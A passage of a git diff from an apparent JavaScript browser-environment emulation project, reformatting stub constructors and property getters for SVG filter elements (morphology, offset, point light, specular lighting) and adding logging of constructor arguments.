+bodavm.memory.globalobj['SVGFEMergeNodeElement'] = function SVGFEMergeNodeElement() { + console.log_copy('SVGFEMergeNodeElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEMergeNodeElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEMergeNodeElement'], "SVGFEMergeNodeElement"); +bodavm.memory.globalobj['SVGFEMergeNodeElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEMergeNodeElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEMergeNodeElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMergeNodeElement'].prototype, "SVGFEMergeNodeElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFEMorphologyElement.js b/env_xbb_lastest_jsdom/env/SVGFEMorphologyElement.js index c2a65ff6..cca8d3a8 100644 --- a/env_xbb_lastest_jsdom/env/SVGFEMorphologyElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFEMorphologyElement.js @@ -1,20 +1,127 @@ -// SVGFEMorphologyElement对象 -bodavm.memory.globalobj['SVGFEMorphologyElement'] = function SVGFEMorphologyElement(){if (!(this instanceof SVGFEMorphologyElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEMorphologyElement'], "SVGFEMorphologyElement"); -bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEMorphologyElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_DILATE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_ERODE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_DILATE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_ERODE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "operator", {configurable:true, enumerable:true, get:function operator (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "operator_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "radiusX", {configurable:true, enumerable:true, get:function radiusX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "radiusX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "radiusY", {configurable:true, enumerable:true, get:function radiusY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "radiusY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "result_get", arguments)}, set:undefined},'prototype'); +// SVGFEMorphologyElement对象 + +bodavm.memory.globalobj['SVGFEMorphologyElement'] = function SVGFEMorphologyElement() { + console.log_copy('SVGFEMorphologyElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEMorphologyElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEMorphologyElement'], "SVGFEMorphologyElement"); +bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEMorphologyElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_DILATE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_ERODE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_DILATE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_ERODE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "SVG_MORPHOLOGY_OPERATOR_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "operator", { + configurable: true, + enumerable: true, + get: function operator() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "operator_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "radiusX", { + configurable: true, + enumerable: true, + get: function radiusX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "radiusX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "radiusY", { + configurable: true, + enumerable: true, + get: function radiusY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "radiusY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEMorphologyElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEMorphologyElement'].prototype, "SVGFEMorphologyElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFEOffsetElement.js b/env_xbb_lastest_jsdom/env/SVGFEOffsetElement.js index 58c684c8..0f26cb4b 100644 --- a/env_xbb_lastest_jsdom/env/SVGFEOffsetElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFEOffsetElement.js @@ -1,13 +1,83 @@ -// SVGFEOffsetElement对象 -bodavm.memory.globalobj['SVGFEOffsetElement'] = function SVGFEOffsetElement(){if (!(this instanceof SVGFEOffsetElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEOffsetElement'], "SVGFEOffsetElement"); -bodavm.memory.globalobj['SVGFEOffsetElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEOffsetElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "dx", {configurable:true, enumerable:true, get:function dx (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "dx_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "dy", {configurable:true, enumerable:true, get:function dy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "dy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "result_get", arguments)}, set:undefined},'prototype'); +// SVGFEOffsetElement对象 + +bodavm.memory.globalobj['SVGFEOffsetElement'] = function SVGFEOffsetElement() { + console.log_copy('SVGFEOffsetElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEOffsetElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEOffsetElement'], "SVGFEOffsetElement"); +bodavm.memory.globalobj['SVGFEOffsetElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEOffsetElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "dx", { + configurable: true, + enumerable: true, + get: function dx() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "dx_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "dy", { + configurable: true, + enumerable: true, + get: function dy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "dy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEOffsetElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEOffsetElement'].prototype, "SVGFEOffsetElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFEPointLightElement.js b/env_xbb_lastest_jsdom/env/SVGFEPointLightElement.js index eb0485e7..fe177eab 100644 --- a/env_xbb_lastest_jsdom/env/SVGFEPointLightElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFEPointLightElement.js @@ -1,8 +1,43 @@ -// SVGFEPointLightElement对象 -bodavm.memory.globalobj['SVGFEPointLightElement'] = function SVGFEPointLightElement(){if (!(this instanceof SVGFEPointLightElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEPointLightElement'], "SVGFEPointLightElement"); -bodavm.memory.globalobj['SVGFEPointLightElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFEPointLightElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFEPointLightElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEPointLightElement'].prototype, "SVGFEPointLightElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEPointLightElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEPointLightElement'].prototype, "SVGFEPointLightElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFEPointLightElement', "z", {configurable:true, enumerable:true, get:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEPointLightElement'].prototype, "SVGFEPointLightElement", "z_get", arguments)}, set:undefined},'prototype'); +// SVGFEPointLightElement对象 + +bodavm.memory.globalobj['SVGFEPointLightElement'] = function SVGFEPointLightElement() { + console.log_copy('SVGFEPointLightElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFEPointLightElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFEPointLightElement'], "SVGFEPointLightElement"); +bodavm.memory.globalobj['SVGFEPointLightElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFEPointLightElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFEPointLightElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEPointLightElement'].prototype, "SVGFEPointLightElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEPointLightElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEPointLightElement'].prototype, "SVGFEPointLightElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFEPointLightElement', "z", { + configurable: true, + enumerable: true, + get: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFEPointLightElement'].prototype, "SVGFEPointLightElement", "z_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFESpecularLightingElement.js b/env_xbb_lastest_jsdom/env/SVGFESpecularLightingElement.js index 2662a475..e477f76e 100644 --- a/env_xbb_lastest_jsdom/env/SVGFESpecularLightingElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFESpecularLightingElement.js @@ -1,16 +1,107 @@ -// SVGFESpecularLightingElement对象 -bodavm.memory.globalobj['SVGFESpecularLightingElement'] = function SVGFESpecularLightingElement(){if (!(this instanceof SVGFESpecularLightingElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFESpecularLightingElement'], "SVGFESpecularLightingElement"); -bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGFESpecularLightingElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "in1", {configurable:true, enumerable:true, get:function in1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "in1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "surfaceScale", {configurable:true, enumerable:true, get:function surfaceScale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "surfaceScale_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "specularConstant", {configurable:true, enumerable:true, get:function specularConstant (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "specularConstant_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "specularExponent", {configurable:true, enumerable:true, get:function specularExponent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "specularExponent_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "kernelUnitLengthX", {configurable:true, enumerable:true, get:function kernelUnitLengthX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "kernelUnitLengthX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "kernelUnitLengthY", {configurable:true, enumerable:true, get:function kernelUnitLengthY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "kernelUnitLengthY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "result_get", arguments)}, set:undefined},'prototype'); +// SVGFESpecularLightingElement对象 + +bodavm.memory.globalobj['SVGFESpecularLightingElement'] = function SVGFESpecularLightingElement() { + console.log_copy('SVGFESpecularLightingElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGFESpecularLightingElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFESpecularLightingElement'], "SVGFESpecularLightingElement"); +bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGFESpecularLightingElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "in1", { + configurable: true, + enumerable: true, + get: function in1() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "in1_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "surfaceScale", { + configurable: true, + enumerable: true, + get: function surfaceScale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "surfaceScale_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "specularConstant", { + configurable: true, + enumerable: true, + get: function specularConstant() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "specularConstant_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "specularExponent", { + configurable: true, + enumerable: true, + get: function specularExponent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "specularExponent_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "kernelUnitLengthX", { + configurable: true, + enumerable: true, + get: function kernelUnitLengthX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "kernelUnitLengthX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "kernelUnitLengthY", { + configurable: true, + enumerable: true, + get: function kernelUnitLengthY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "kernelUnitLengthY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGFESpecularLightingElement', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGFESpecularLightingElement'].prototype, "SVGFESpecularLightingElement", "result_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGFESpotLightElement.js b/env_xbb_lastest_jsdom/env/SVGFESpotLightElement.js index b1fe65a7..8231909e 100644 --- a/env_xbb_lastest_jsdom/env/SVGFESpotLightElement.js +++ b/env_xbb_lastest_jsdom/env/SVGFESpotLightElement.js @@ -1,13 +1,83 @@ -// SVGFESpotLightElement对象 -bodavm.memory.globalobj['SVGFESpotLightElement'] = function SVGFESpotLightElement(){if (!(this instanceof SVGFESpotLightElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGFESpotLightElement'], "SVGFESpotLightElement"); 